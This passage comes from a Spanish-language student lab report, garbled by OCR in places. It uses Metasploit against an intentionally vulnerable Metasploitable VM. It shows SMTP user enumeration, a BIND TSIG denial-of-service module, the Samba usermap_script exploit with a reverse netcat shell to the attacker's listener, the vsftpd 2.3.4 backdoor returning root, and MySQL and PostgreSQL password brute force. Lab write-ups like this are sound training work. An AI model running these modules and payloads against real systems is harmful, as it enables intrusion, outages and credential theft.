carpeta donde se encuentran los diccionarios utilizando el comando cd /usr/share/metasploit-

framework/data/wordlists. Y una vez dentro de la carpeta ejecutamos el comando Is.

Copiamos el archivo ipmi_users.txt y en la otra terminal de Kali donde tenemos el
framework de metasploit iniciado escribimos el comando set USER_FILE y seguido la carpeta

de diccionarios y el archivo que habiamos copiado.

3 } » set USER_FILE /usr/share/metasploit-framework/data/wor
dlists/ipmi

USER_FILE = /fusr/ ire/metasploit-framework/data/wordlists/ipmi_users.txt

lustracion 45. Configuracion de USER_FILE
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Con el comando options verificamos que se haya hecho el cambio.

USER_FILE = /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt
msf6 auxiliary( ) > options

Module options (auxiliary/scanner/smtp/smtp_enum):

Name Current Setting Required Description

RHOSTS 192.168.10.5 yes The target host(s), see https://docs.metas
ploit.com/docs/using-metasploit/basics/usi
ng-metasploit.html

RPORT 25 The target port (TCP)

THREADS 1 The number of concurrent threads (max one
per host)

UNIXONLY true Skip Microsoft bannered servers when testi
ng unix users

USER_FILE /usr/share/metasploit-fra The file that contains a list of probable

mework/data/wordlists/ipm users accounts.
i_users.txt

lustracion 46. Comando options

En la carpeta de diccionarios editamos el archivo ipmi_users.txt ingresando el comando

nano y luego damos Enter.

/fusr/share/metasploit-framework/data/wordlists
) ipmi_u ;. EXt

llustracién 47. Editar archivo con el comando nano

Escribimos el usuario y guardamos.

root@kali: fusr/share/metasploit-framework/data/wordlists
File Actions Edit View Help
GNU nano 8.3 ipmi_users.txt *

msfadmin
sando

indulj

ADMIN

admin

root
Administrator
USERID

guest

Admin

e Help B0 Write Out [l§ Where Is Bl Cut
B Exit B Read File @\ Replace @l Paste

lustracion 48. Archivo ipmi_users.txt
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Y por ultimo ejecutamos el comando run para hacer un analisis de enumeracion y

recoleccién de informacion. Se identifico al usuario msfadmin.

msf6 auxiliary( ) > run

192.168.10.5:25 - 192.168.10.5:25 Banner: 220 metasploitable.localdomain ESMTP Postfi
x (Ubuntu)
[+] 192.168.10.5:25 - 192.168.10.5:25 Users found: msfadmin

192.168.10.5:25 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( S |

lustracion 49. Escaneo del puerto 25 (SMTP).

5.10 Explotacion del puerto 53 (DOMAIN)

En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto

53 con el comando search bind_tsig.
msf6 > search bind_tsig
Matching Modules

# Name Disclosure Date
Description

@ auxiliary/dos/dns/bind_tsig badtime 2020-05-19 normal
BIND TSIG Badtime Query Denial of Service

1 auxiliary/dos/dns/bind_tsig 2016-09-27 normal
BIND TSIG Query Denial of Service

Interact with a module by name or index. For example
xiliary/dos/ )1 N :

lustracion 50. Buscar exploit del puerto 53

Y con el comando use seleccionamos el exploit del puerto 53 que aparece en el modulo

con el numero 0 y verificamos que se haya hecho el cambio con el comando options.
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msf6 > use 1

msf6 auxiliary(

) > options

Module options (auxiliary/dos/dns/bind_tsig):

Name

BATCHSIZE

INTERFACE
RHOSTS

RPORT
SRC_ADDR
THREADS

Current Setting Required

256 yes

no

Description

The number of hosts to probe
in each set

The name of the interface

The target host(s), see https
://docs.metasploit.com/docs/u
sing-metasploit/basics/using-
metasploit.html

The target port (UDP)

Source address to spoof

The number of concurrent thre
ads

lHustracion 51. Usar exploit del puerto 53 y ver opciones

Luego de ver las opciones vamos a configurar el exploit agregando la direccion IP de la

victima en el RHOSTS con el comando set rhosts y verificamos que se haya hecho el cambio.

msf6 auxiliary(
.168.10.5
msf6 auxiliary(

rhosts = 192

) > set rhosts 192.168.10.5

) > options

Module options (auxiliary/dos/dns/bind_tsig):

Name
BATCHSIZE

INTERFACE
RHOSTS

RPORT
SRC_ADDR
THREADS

Y por altimo ejecutamos el comando run para hacer la explotacion del puerto 53.

Current Setting Required
256 yes

no
192.168.10.5

Description

The number of hosts to probe
in each set

The name of the interface

The target host(s), see https
://docs.metasploit.com/docs/u
sing-metasploit/basics/using-
metasploit.html

The target port (UDP)

Source address to spoof

The number of concurrent thre
ads

lustracién 52. Asignando direccion IP al RHOSTS

«iliar
Sending packe
Scanned 1 of 1 h
Auxiliary module

(

> run

tion completed

) > I

lustracion 53. Explotacion del puerto 53 (DOMAIN)
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5.11 Explotacion del puerto 139/445 (SAMBA)

En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto

139 y 445 con el comando search usermap_script.

msf6 > search usermap_script

Matching Modules

# Name Disclosure Date Rank Check Description

® exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username ma
p script”™ Command Execution

Interact with a module by name or index. For example

llustracion 54. Buscar exploit del puerto

Y con el comando use seleccionamos el exploit del puerto 139 y 445 que aparece en el

modulo con el numero 0.

oad configured, defaulting to cmd/unix/reverse

= |

lustracion 55. Usar exploit del puerto 139 y 445

Utilizamos el comando options para ver las opciones del exploit.

b root@kali: /lhome/indu

File Actions Edit View Help

msf6 exploit( ) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port
1L -.. ]

RHOSTS yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description

LHOST 192.168.10.4 = The listen address (an interface may be specified)
LPORT 4444 = The listen port

lustracion 56. Comando options

pag. 36



&

Luego de ver las opciones vamos a configurar el exploit agregando la direccion IP de la
victima en el RHOSTS con el comando set rhosts.

)2.168.10.5

llustracion 57. Asignando direccion IP al RHOSTS

Con el comando options verificamos que se haya hecho el cambio.

msf6 exploit > options
Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,t
ype:host:port][ ... ]

RHOSTS 192.168.10.5 The target host(s), see https://docs.meta
sploit.com/docs/using-metasploit/basics/u
sing-metasploit.html

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
VEIE Current Setting Required Description
LHOST 192.168.10.4 yes The listen address (an interface may be spe

cified)
LPORT 4444 yes The listen port

lustracion 58. Comando options

Y por ultimo ejecutamos el comando run para hacer la explotacion del puerto 139.

) > run
ted 1 I'SE ( handler on 192.168.10.4:4444
Command shell 2 opened (192.168.10.4:4
25-08-07 @5:50:01 -0400

whoami
root

llustracion 59. Explotacion del puerto 139 (SAMBA)
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Ahora lo que vamos a hacer es cambiar el puerto 139 a el puerto 445 con el comando set

rport para explotarlo también.

rport 445

llustracion 60. Cambiando de puerto 139 a 445

Con el comando options verificamos que se haya hecho el cambio.

msf6 exploit( ) > options
Module options (exploit/multi/samba/usermap_script):
Current Setting Required Description

no The local
no

RPORT

Payload options (cmd/uni
Name Curren
LHOST 192.168.

LPORT 4444

llustracion 61. Comando options

Y procedemos a ejecutar el comando run para hacer la explotacion del puerto 445.

} > run
on 192.168.18.4:4
ed (192.168.10.4:4444 — 192.168.10.5:37
25-88-87 @5:59:

whoami
root

llustracion 62. Explotacion del puerto 445 (SAMBA)
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5.12 Explotacion del puerto 2121 (FTP)

En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto

2121 con el comando search vsftpd 2.3.4.

msf6 > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank Check Des
cription

® exploit/unix/ftp/wsftpd 234 backdoor 2011-07-03
TPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example i

msf6 >

llustracion 63. Buscar exploit del puerto 2121

Y con el comando use seleccionamos el exploit del puerto 2121 que aparece en el modulo

con el nimero O.

yload configured, defaulting to cmd/unix/interact

) = I

lustracién 64. Usar exploit del puerto 2121

Luego agregamos la direccion IP de la victima en el RHOSTS con el comando set

rhosts.

llustracion 65. Asignando direccion IP al RHOSTS

Con el comando options verificamos que se haya hecho el cambio.
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msf6 exploit( ) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

CHOST no The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:port[,t
ype:host:port][ ... ]

RHOSTS 192.168.10.5 The target host(s), see https://docs.meta
sploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
The target port (TCP)

Exploit target:
Id Name

Automatic

lustracion 66. Comando options

Y por ultimo ejecutamos el comando run para hacer la explotacion del puerto 2121.

1 )

1 & : the password.

1 68.10 e ha awned, handling ...
1 ' i

F

ound
Command
25-08-87

whoami
root

llustracion 67. Explotacion del puerto 2121 (FTP)

5.13 Explotacion del puerto 3306 (MYSQL)

En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto

3306 con el comando search mysqgl_login.
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msf6 > search mysql_login

Matching Modules

# Name Disclosure Date Rank

tion

Check Descrip

@ auxiliary/scanner normal No

ogin Utility

nysql/mysql_Togin MysSQL L

Interact with a module by name or index. For example
anner gl/mysql_logi

llustracion 68. Buscar exploit del puerto 3306

Y con el comando use seleccionamos el exploit del puerto 3306 que aparece en el modulo

con el nimero O.

llustracion 69. Usar exploit del puerto 3306

Utilizamos el comando options para ver las opciones del exploit.

0

root@kali: /home/indu

File Actions Edit View Help

msf6 auxiliary( ) > options

Module options (auxiliary/scanner/mysql/mysql_login):

Name
ANONYMOUS_LOGIN false yes
BLANK_PASSWORDS true no
BRUTEFORCE_SPEED 5 yes
CreateSession false no
DB_ALL_CREDS false no
false no
false no
none no

Current Setting Required Description

Attempt to login with a blank username and password

Try blank passwords for all users

How fast to bruteforce, from @ to 5

Create a new session for every successful login

Try each user/password couple stored in the current database
Add all passwords in the current database to the list

Add all users in the current database to the list

Skip existing credentials stored in the current database (Accq
user, usergrealm)

A specific password to authenticate with

File containing passwords, one per line

A proxy chain of format type:host:port[,type:host:port][ ...]

DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING

PASSWORD no
PASS_FILE no
Proxies no

RHOSTS

RPORT
STOP_ON_SUCCESS
THREADS
USERNAME
USERPASS_FILE
USER_AS_PASS
USER_FILE

The target host(s), see https://docs.metasploit.com/docs/using
basics/using-metasploit.html

The target port (TCP)

Stop guessing when a credential works for a host

The number of concurrent threads (max one per host)

A specific username to authenticate as

File containing users and passwords separated by space, one p
Try the username as the password for all users

File containing usernames, one per line

lustracion 70. Comando options
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Luego de ver las opciones vamos a configurar el exploit agregando la direccion IP de la

victima en el RHOSTS con el comando set rhosts.

> set rhosts 192.168.10.5

msf6 auxiliary(

lustracion 71. Asignando direccion IP al RHOSTS

En la otra terminal de Kali Linux en el modo superusuario, accedemos nuevamente a la
carpeta donde se encuentran los diccionarios utilizando el comando cd /usr/share/metasploit-
framework/data/wordlists. Y una vez dentro de la carpeta ejecutamos el comando Is.

Copiamos el archivo root_userpass.txt y en la otra terminal de Kali donde tenemos el
framework de metasploit iniciado escribimos el comando set USERPASS_FILE y seguido la

carpeta de diccionarios y el archivo que habiamos copiado.

msf6 auxili ( ) > set USERPASS FILE /fusr/shar etasploit-framework/data/w
ordlist

USERPA: r/ netasploit-framework/data/wordlists/root_userpass.txt
msf6 auxiliary(

llustracion 72. Configuracion de USERPASS_FILE

Con el comando options verificamos que se haya hecho el cambio.

Name Current Setting Required

ANONYMOUS_LOGIN
SSWORDS
SPEED

PASSWORD
_FILE
Pr s

s
RHOSTS 192.168.10.5

RPORT

STOP_ON_SUCCESS

THREADS

USERNAME rmame to auths
USERPASS_FILE / loit / i s and p3

USER_AS_PASS
USER_FILE
VERBOSE

lHustracion 73. Comando options
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Y por ultimo ejecutamos el comando run para hacer la explotacion del puerto 3306.

- Found remote MySQL version 5.08.51a
ntial da 3
- LOGIN FAILED
h of scramblel
LOGIN FAIL
) #* length of
— LOGIN FAILED

d!

You can open an
t to true
module cution completed
T

lustracion 74. Explotacion del puerto 3306

5.14 Explotacion del puerto 5432 (POSTGRESQL)

En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto
5432 con el comando search postgres_login.

msf6 > search postgres_login
Matching Modules

# Name Disclosure Date Rank Check
Description

@ auxiliary/scanner/postgres/postgres login . normal No
PostgreSQL Login Utility

Interact with a module by name or index. For example
R A

msf6 > [

lustracion 75. Buscar escaner del puerto 5432

Y con el comando use seleccionamos el escaner del puerto 5432 que aparece en el

maodulo con el nimero 0.

msf6 > use 0
New in Metasploit 6.4 - The CreateSession option within this module can ope

n an interactive session
msf6 auxiliary( ) > |

llustracion 76. Usar escaner del puerto 5432
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Utilizamos el comando options para ver las opciones del escaner.

il root@kali: fhomefindu
File Actions Edit View Help

Module options (

Na
5_LOGIN
ASSWORDS
_SPEED
C ession
DATABASE
DB_ALL_CREDS
asswords in th
in the cu

numb
pecific

USER_AS_PASS
USER_FILE

lustracion 77. Comando options

r line

Luego de ver las opciones vamos a configurar el escaner agregando la direccion IP de la

victima en el RHOSTS con el comando set rhosts.

llustracion 78. Asignando direccion IP al RHOSTS

También el usuario con el comando set USERNAME vy la contrasefia con el comando set

PASSWORD.

msf6 auxiliary( ) > set USERNAME admin
USERNAME = admin
msf6 auxiliary( ) > set PASSWORD admin

PASSWORD = admin
msf6 auxiliary( N |

llustracion 79. Asignando usuario y contrasefia
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Con el comando options verificamos que se haya hecho el cambio.

Name
ANONYMOUS_LOGIN
BLANK_PASSWORDS
BRUTEFORCE_SPEED
CreateSession
DATABASE
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING

PASSWORD
PASS_FILE

Proxies
RETURN_ROWSET
RHOSTS

RPORT
STOP_ON_SUCCESS
THREADS
USERNAME
USERPASS_FILE

USER_AS_PASS
USER_FILE

Current Setting

false
false
5

false

templatel

false
false
false
none

admin

/usr/share/metasploit-framework/data no

Required Description
yes Attempt to login with a blank userna
no Try blank passwords for all users
yes How fast to bruteforce, from @ to 5
no Create a new session for every succe
yes The database to authenticate against
no Try each user/password couple stored
no Add all passwords in the current dat
no Add all users in the current databas
no Skip existing credentials stored in
ed: none, user, usergrealm)
no A specific password to authenticate
File containing passwords, one per 1

/wordlists/postgres_default_pass.txt

true

192.168.10.5

5432
false
1
admin

/usr/share/metasploit-framework/data
/wordlists/postgres_default_userpass

<Xt
false

/usr/share/metasploit-framework/data

no A proxy chain of format type:host:po|

no Set to true to see query result sets
The target host(s), see https://docs
etasploit/basics/using-metasploit.ht
The target port
Stop guessing when a credential work
The number of concurrent threads (ma
A specific username to authenticate
File containing (space-separated) us
per line

Try the username as the password for
File containing users, one per line

/wordlists/postgres_default_user.txt

lustracion 80. Comando options

Ahora el Metasploit intentara iniciar sesion en la base de datos PostgreSQL usando varias

combinaciones de usuario y contrasefia hasta encontrar las correctas.

—

File Actions Edit View

msf6 auxiliary(

192.168.
.168.
.168.
.168.
.168.
.168.
.168.
.168.
.168.

15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432
15432

Scanned
Bruteforce completed,

Help

LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
Login
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN

FAILED:
FAILED:
FAILED:

FAILED
FAILED
FAILED
FAILED

FAILED:
FAILED:
FAILED:
FAILED:

root@kali: /home/indu

admin:passwordatemplatel (Incorrect: Invalid username or password)
admin:admin@templatel (Incorrect: Invalid username or password)
:admin@templatel (Incorrect: Invalid username or password)
templatel (Incorrect: Invalid username or password)
tigeratemplatel (Incorrect: Invalid username or password)
postgres@templatel (Incorrect: Invalid username or password)
password@templatel (Incorrect: Invalid username or password)
:admin@templatel (Incorrect: Invalid username or password)
postgres:admin@templatel (Incorrect: Invalid username or password)
postgres:@templatel (Incorrect: Invalid username or password)
postgres:tiger@templatel (Incorrect: Invalid username or password)

Successful: postgres:postgresgtemplatel

FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
1 hosts (100% complete)

1 credential was successful.

scott:admingtemplatel (Incorrect: Invalid username or password)
scott:@templatel (Incorrect: Invalid username or password)
scott:tigera@templatel (Incorrect: Invalid username or password)
scott:postgresatemplatel (Incorrect: Invalid username or password)
scott:password@templatel (Incorrect: Invalid username or password)
scott:admingtemplatel (Incorrect: Invalid username or password)
admin:admin@templatel (Incorrect: Invalid username or password)
admin:@templatel (Incorrect: Invalid username or password)
admin:tigeratemplatel (Incorrect: Invalid username or password)
admin:postgres@templatel (Incorrect: Invalid username or password)
admin:password@templatel (Incorrect: Invalid username or password)
admin:admin@templatel (Incorrect: Invalid username or password)
admin:admin@templatel (Incorrect: Invalid username or password)
admin:password@templatel (Incorrect: Invalid username or password)

You can open a Postgres session with these credentials and

Auxiliary module execution completed

I |

set to true

lustracion 81. Iniciando en la BD de PostgreSQL
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Ya que hubo un intento correcto con el usuario y contrasefia de postgres, y una base de
datos templatel, en la consola de Kali dentro del framework de metasploit buscamos el médulo
auxiliar de administracion del puerto 5432 con el comando search postgres_sql y con el
comando use seleccionamos el auxiliar del puerto 5432 que aparece en el modulo con el numero
0.

msf6 auxiliary( ) > search postgres_sqgl

Matching Modules

# Name Disclosure Date Rank Check Description

0 auxiliary/admin/postgres/postgres sql . normal No PostgreSQL Server Generic Query

Interact with a module by name or index. For example

msf6 auxiliary( ) >0

Unknown command: ©@. Run the command for more details.
msf6 auxiliary( ) > use 0

New in Metasploit 6.4 - This module can target a N or an R
msf6 auxiliary( I |

lustracién 82. Buscar modulo auxiliar de administracion del puerto 5432

Utilizamos el comando options para ver las opciones del auxiliar.

msf6 auxiliary( ) > options
Module options (auxiliary/admin/postgres/postgres_sql):
Name Current Setting Required Description
RETURN_ROWSET true no Set to true to see query result sets
sSQL select version() no The SQL query to execute
VERBOSE false no Enable verbose output
Used when connecting via an existing SESSION:
Name Current Setting Required Description

SESSION no The session to run this module on

Used when making a new connection via RHOSTS:

Name Current Setting Required Description

DATABASE postgres no The database to authenticate against

PASSWORD postgres no The password for the specified username. Leave blank fq

RHOSTS no The target host(s), see https://docs.metasploit.com/dod
loit.html

RPORT 5432 The target port

USERNAME postgres The username to authenticate as

lustracion 83. Comando options
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Luego de ver las opciones vamos a configurar el auxiliar agregando la direccion IP de la

victima en el RHOSTS con el comando set rhosts.

llustracion 84. Asignando direccion IP al RHOSTS

Y verificamos que se haya hecho el cambio.

msf6 auxiliary(

) > options

Module options (auxiliary/admin/postgres/postgres_sqgl):

Name

RETURN_ROWSET true no

sqQL
VERBOSE

Current Setting Required Description

select version() no
false no

Set to true to see query result sets
The SQL query to execute
Enable verbose output

Used when connecting via an existing SESSION:

Name

SESSION

Used when

Name
DATABASE
PASSWORD
RHOSTS

RPORT
USERNAME

no

Current Setting Required Description

The session to run this module on

making a new connection via RHOSTS:

Current Setting Required

postgres no
postgres no
192.168.10.5 no

5432 no
postgres no

Description

The database to authenticate against

The password for the specified username. Lea
The target host(s), see https://docs.metaspl
loit.html

The target port

The username to authenticate as

lustracion 85. Comando options

Por ultimo, ejecutamos el comando exploit para hacer la explotacion del puerto 5432.

Una vez hecha la explotacion podremos ver que se logré conectar al servidor PostgreSQL.
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msf6 auxiliary( ) > exploit
Running module against 192.168.10.5
Query Text: ‘select version()’

version
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntud)

Auxiliary module execution completed
msf6 auxiliary( I |

llustracion 86. Conexion al servidor PostgreSQL

5.15 COMANDO QUE SE USA PARA CONTAR LAS PALABRAS Y LETRAS
DE UN ARCHIVO TXT

El comando que se usa para contar palabras, letras y lineas de un archivo .txt es wc (word

count).

e Contar palabras, lineas y caracteres: wc archivo.txt
e Contar solo palabras: wc -w archivo.txt
e Contar solo caracteres: wc -m archivo.txt

e Contar solo lineas: wc -l archivo.txt
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6. PROBLEMAS ENCONTRADOS

No se pudo hacer posible la explotacion del puerto 3306 (MY SQL) porque no encontré la
contrasefia en el diccionario que se le asignd y también quiso coger solo el usuario root y sin

contrasefia como normalmente viene por defecto.

- Found remo
( antial da
6 - LOGIN FAILE
ength of scramb
LOGIN FAILED:
) = length of
@6 - LOGIMN FAILED:

gth(@) = length of scr
nned 1 of 1 hosts (
orce comple

llustracion 87. Explotacion del puerto 3306 fallida
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DHCP
Protocolo que asigna automaticamente direcciones
IP y otros parametros de red a los dispositivos
conectados, facilitando la configuracion y
administracion de redes., 15
exploit
Aprovecha una vulnerabilidad para obtener
acceso., 23
ifconfig
Comando de sistemas Linux que muestra y
permite configurar las interfaces de red, sus
direcciones IP, mascaras de subred y estado de
conexion., 15
Kali Linux
Distribucion de Linux especializada en pruebas de
penetracion y auditorias de seguridad, que
incluye una amplia gama de herramientas para
analisis, explotacion y post-explotacion., 22
Metasploit Framework
Plataforma de pruebas de penetracion que incluye
herramientas para encontrar, explotar y validar
vulnerabilidades., 22
Metasploitable
Magquina virtual intencionalmente vulnerable,
utilizada con fines educativos y de practica para
pruebas de penetracidn y entrenamiento en
ciberseguridad., 15
madulo
Componente de Metasploit disefiado para una

tarea especifica, como escanear, explotar,

GLOSARIO

ejecutar payloads o realizar post-explotacion.,
25
Nmap
Herramienta de codigo abierto utilizada para el
escaneo y mapeo de redes, que permite
identificar puertos abiertos, servicios y
versiones., 21
options
Comando de Metasploit que muestra las opciones
configurables del médulo seleccionado,
indicando qué pardmetros son obligatorios y
cudles son opcionales., 23
PAYLOAD
Caodigo que se ejecuta en la maquina objetivo tras
explotar la vulnerabilidad, 24
puerto
Punto de comunicacion logica en una maquina que
permite la interaccion de servicios y
aplicaciones a traveés de la red., 25
RHOSTS
En Metasploit, parametro que indica la direccién
IP o rango de direcciones IP del sistema
objetivo., 24
search
Comando de Metasploit para buscar modulos
relacionados con un servicio, vulnerabilidad,
version o palabra clave., 25
use
Comando en Metasploit que permite seleccionar
un modulo especifico (de explotacion, escaneo

0 post-explotacion) para trabajar con él., 25
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8. CONCLUSION

En este laboratorio se logré comprender de manera clara y aplicada como se lleva a cabo
el proceso que siguen los atacantes para identificar y explotar vulnerabilidades presentes en
servicios que se ejecutan sobre puertos abiertos. A través de las pruebas realizadas quedd
demostrado que una mala configuracion, asi como el uso de versiones antiguas o sin seguridad,

puede representar una amenaza para la confidencialidad de un sistema.

El uso de herramientas como Nmap y Metasploit me permiti6 seguir un procedimiento
estructurado que fue desde el reconocimiento inicial de la méaquina victima, la deteccion de
servicios y versiones, la identificacion de vulnerabilidades y la explotacion exitosa de varios de
esos servicios. Es importante mantener las plataformas y servicios actualizados, monitorear
continuamente los puertos abiertos y aplicar buenas practicas en la gestion de la seguridad

informatica.
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